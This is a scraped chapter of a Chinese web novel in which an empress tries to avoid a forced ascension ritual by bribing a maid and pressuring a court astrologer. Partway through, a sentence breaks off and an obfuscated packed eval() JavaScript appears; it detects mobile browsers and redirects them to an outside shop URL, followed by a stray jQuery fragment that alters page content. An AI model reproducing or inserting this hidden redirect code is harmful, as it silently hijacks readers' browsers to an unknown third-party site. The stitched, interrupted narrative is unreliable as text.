文趣网 > 其他小说 > 妻子她要杀我证道 > 2. 攻心术
    坤宁宫,第一缕日光透过琉璃窗照射在慕容颜的脸颊上。

    少女素净着一张脸,紧闭双眼,眉头紧锁,口中喃喃道“出来。”

    这一喊使尽了全力,也让她从梦里醒过来。

    ——后背已经汗淋淋,她努力地平复着呼吸,回过神来。

    身侧人已经离开,想必去上早朝了。

    慕容颜回忆着自己的梦。

    梦里她似乎抛弃了盛千秋,换了身份,成了个刀修,还和一个长得很带劲的剑修在一起了,过上了她梦寐以求的新生活。

    但是好景不长,慕容颜忍不了剑修的倨傲,提出分手。

    剑修为了躲避分手,躲在宗门的秘境里,她也跟了进去,怎么找都找不到他。

    传说秘境最能考验人心,会幻化出入境者以往最难释怀的过往。

    一筹莫展之际,盛千秋出来了。

    梦境在此刻戛然而止。

    手臂无力地搭在膝头,她望着自己的手——纤长,白嫩,一个茧子也没有。

    这样的手,在日后也有可能挥起那么重一柄刀吗?

    而她,也能离开盛千秋,去过自己想要的生活吗?

    心脏扑通扑通地猛跳。

    “娘娘,可是发生了什么——您刚刚在唤谁出来?”

    芷芸方才听到了动静,急匆匆从殿外跑进来,看见娘娘已经冷静了下来。

    “无事,只是做了噩梦,给我殿里放盏安魂的香吧。”

    “是。”

    芷芸知道,自家娘娘因着陛下的一个安排心神不宁,她虽不知是什么安排,但也为着担忧——这还是这么多年来,娘娘第一次这么不安。

    “芷芸,近来宫中有没有什么奇怪的人来找陛下。”

    “回娘娘,奴婢并无发现。”

    后宫就慕容颜一个人,是以特别风平浪静,还没未出阁时家里闹腾,是以慕容颜也从无查探过宫里的情况,一直安于现状。

    但不知为何,方才那梦却给她一种强烈的预示感。

    如果她日后会成为修士,现在离合葬只有一天,变数只可能在这一天发生。

    常言道“狡兔三窟”,慕容颜不准备守株待兔。

    “去叫青竹来,不要被别人看到。”她吩咐道。

    “是,娘娘。”

    慕容颜宫里的侍女不少,关系极为好的只有几个,但她们都老实本分。

    唯一可以被称得上“变数”的人,就是那个叫青竹的侍女。

    此人几个月曾有几桩事闹得沸沸扬扬,被宫里的管事宫女罚得很重。

    在宫里开赌坊,介绍太监宫女对食还收取高价介绍费,提供代值勤服务,还有门路联系在外的亲戚,高价送信。

    慕容颜知道后先是目瞪口呆,随即便欣赏不已。

    此人只是生不逢时,头脑此等活络,明明是个奇才。

    随后她亲自出面说情,惩罚也就不了了之。

    青竹曾几次想要亲自拜谢,却因宫里规矩繁多,没有找到机会。

    殿门大敞着,微风不时经过,拂过庭外的青草花香,也轻柔地拂过她的面庞。

    骄阳正好,未尝不可多得。

    慕容颜简单地梳洗了一番,穿戴地素净——她总是这样,闲暇时愿意花大半时间打扮自己,忙起来便不管不顾了,险些穿了粉红的锦裙搭浅绿的外罩。

    还是在芷芸的提醒下才发现的。

    她定了定神,芷芸都尚且能看出她的心不在焉,何况盛千秋呢?

    保险起见,慕容颜吩咐侍女重新装扮一番。

    镜中的少女肌肤胜雪,顾盼生辉,双目似一泓清泉,流连生姿。

    如此面容,却流露出一股侠气。

    饭后,青竹便被带了过来。

    女子施完礼后抬头,一双眼又真诚又狡黠。

    “参见皇后娘娘,皇后万安。奴婢青竹,谢过娘娘恩。”

    “起来吧。”

    直到她直起身来,慕容颜才发现她身量比自己高出不少,当真人如其名,竹子一般挺拔。

    “娘娘。”青竹浅笑。

    慕容颜发现,她身上丝毫没有宫中侍女的气质,反而有种匪气。

    “找你来是有话问你,我知你对宫中动静了如指掌——我问你,近来宫中可以异动?”

    “回娘娘,宫中各位主子的动向岂是奴婢可以打听的。”

    滴水不漏,倒是圆滑。

    “青竹,如果我没猜错,你很缺钱吧。”

    “娘娘,确有异动。”

    慕容颜笑点低,险些维持不住面上的端庄。

    “哦?”

    “陛下近几日下值的时间晚了一些,奴婢听说,陛下常吩咐一位新晋的官员详谈,此人名叫詹鸿轩,是位占星师。”

    是他没错了。

    “青竹,有些钱能拿,有些不能,你明白吗?拿了我的钱,若要还想着双头骗的话……”

    慕容颜脸上无笑时很能唬人,她看着下方的青竹。

    “奴婢明白。”

    慕容颜却不敢全信。

    金钱可以收买人,但金钱之上还有权势,甚至以性命威胁。

    她不想做到那一步。

    “打听一下他一般从哪里经过,越快越好。”

    青竹应下,急匆匆去处理了。

    慕容颜慢不了,只剩一天了。

    盛千秋处事缜密,在合葬前两天才告诉自己,背地里不知道筹划了多少日夜。

    狡兔三窟,她现在的窟还是太少了。

    “去金銮殿。”

    芷芸不知皇后这般意欲如何,不是要逃吗,怎么在这个节点找皇上。

    但看着皇后坚定的神色,她没有多问。

    洒进坤宁宫的一片阳光似乎不满足,以极快的速度向室内蔓延,似乎要吞噬坐在正中的女子。

    命运给她话本子般天真的生活,让她以为事事顺从便可以维持现状,却也顷刻收回,让她措不及防。

    而从来不擅长出棋的人,恐怕只有明棋可走。

    金銮殿景致极佳,除去精美的坤宁宫,整个皇宫里最好的便属金銮殿了。

    青年坐在正中,桌边堆了不少册子。

    “我真不想去。”

    慕容颜开门见山,刚迈入殿门便直言道。

    盛千秋波澜不惊,只在慕容颜进门时瞥了她一眼,随后便自顾自继续处理册子了。

    朝夕相处几年,慕容颜几乎没有秘密,什么都同盛千秋讲。

    但盛千秋在感情里似乎有一个怎么也满足不了的阈值,无论她怎么往里灌溉倾注,也无法灌满。

    “别站在门口,过来坐。”

    见慕容颜直直伫立在殿门口,似乎他不答应就大有不进来之势,他有些好笑。

    她仍旧没有动。

    盛千秋好脾气地走进,牵起她的手入殿,“世间人人求之不得的香饽饽,怎么你这么不愿接受。”

    “我就是不要,”慕容颜本能地抵触,“我这辈子这么过完已经是祖上积德了,不想要更好的了。”

    她说的是实话,自己这个皇后位置来的本就是莫名其妙,京城所有贵女轮一遍也轮不到她慕容颜,遇到这种撞大运的情况本就十分幸运,她不想要更贪心。

    “你是厌倦了我吧。”

    偌大的殿内冷不丁一声幽怨的男声,让本就安静的室内此刻落针可闻。

    此刻青年幽怨的神情与梦境诡异地呼应。

    光影斑斓,尘埃浮动。

    慕容颜特别喜欢阳光,无论昱晓曦微,此刻她恰好

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702769|208237||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    站在一片斑斓的光里,却是无半点心思欣赏了。

    ——他是怎么得出这个结论的?

    两人视线相交,一人不知所措,一人幽怨偏执。

    “成仙以后,我们什么都不会改变,你依然锦衣玉食,无忧无虑,唯一会变的只是我们与天同寿了。”

    慕容颜直觉没那么简单,却也不想与他无休止地辩论。

    “陛下,我只是来告诉你——我不去,如果你非要这么做,恕阿颜不能从命了。”

    眼前的青年眸子暗了暗,牵着少女的手不自觉的加重力道。

    世间的痴男怨女皆是这般,以为用爱就能威胁对方,可若天平的另一端是永恒的相伴呢?

    在其中取舍似乎不难。

    “好了,牙尖嘴利的,”他捏了捏少女的脸颊,“乖一点,到了仙界夫君陪你好好玩。”

    “贱货。”

    这句话如同闷雷一般炸开在金銮殿,一众的侍从眼观鼻鼻观心,恨不得自己变成聋子。

    以前只知道皇后有些小性子,没想到这么狂。

    有胆大的偷偷瞥皇帝此刻的神情,只见向来面弱冠玉的脸上似乎有一道裂痕,脸色很是难看。

    “无论你怨我也好,恨我也好,以后你就会明白的。”

    慕容颜再也听不得面前疯子的言语,抽手离开,雄赳赳气昂昂。

    只是刚一离开金銮殿,神情便不再愤怒。

    温柔小意和出言不逊总要结合起来才能发挥最大用途,正如方才打消盛千秋心中的怀疑。

    “确是此地无疑?”

    芷芸点点头。

    青竹的办事效率很快,一个时辰便传信说詹天师会经过金明池。

    慕容颜故意与盛千秋起了罅隙,按照惯例也出于愧疚,盛千秋在这天内不会派人看着她。

    是以现在见詹天师,无疑是最好的时候。

    “娘娘,来了。”芷芸小声提醒道。

    “大人留步。”慕容颜适时出声,叫住了正欲往前走的男人。

    男人身量不高,约莫三十多岁的年纪,气质却是十分出众,一副世外高人的感觉。

    詹鸿轩也认出了面前这位少女便是传说中的那位皇后。

    “微臣见过娘娘。”

    “詹天师,想必你也知道我时日不多,我就不与你兜圈子了。”

    少女笑容亲切,但说出的话却十分直接,又能拿捏人,到底是宫里出来的人。

    “娘娘请说。”

    “大人有所不知,我不想成仙。不修道而转世成仙,乃是逆天而为,我不欲逆天,只愿顺势而为。”

    “卑职只是一介小官,恐怕帮不了娘娘什么。”

    慕容颜露出了一个真心实意的笑容,“大人这是不愿帮我?——大人近来府上缺些什么。”

    这话更直白了,倒是让詹天师不知道说什么好。

    “大人这是淡泊名利了?——那命还要吗?”

    话毕,一旁方才还好声好气的侍女摩拳擦掌地向他靠近。

    “娘娘,”詹鸿轩不得不停止这场闹剧,“属下乃长白宗修士,为报昔日陛下相助之恩,这才为官。娘娘的威胁对属下没用,还请换个人吧。”

    “那大人可有孩子,怎能眼睁睁看着家人分离?”

    芷芸与一旁的侍女交换了眼神,娘娘这脑子转得真是快啊。

    詹鸿轩不由得笑了,面前这位皇后娘娘不过十几岁的年纪,攻心术倒是玩得炉火纯青。

    他笑什么?慕容颜信心都被这笑减少了一点。

    “娘娘找我前怕是没有打探清楚我的来历——下官无父无母,十岁便拜别红尘,去往长白宗做修士,是以无妻无子,了无牵挂。

    臣奉劝娘娘,早日想明白,这等机缘并不是时时都有。”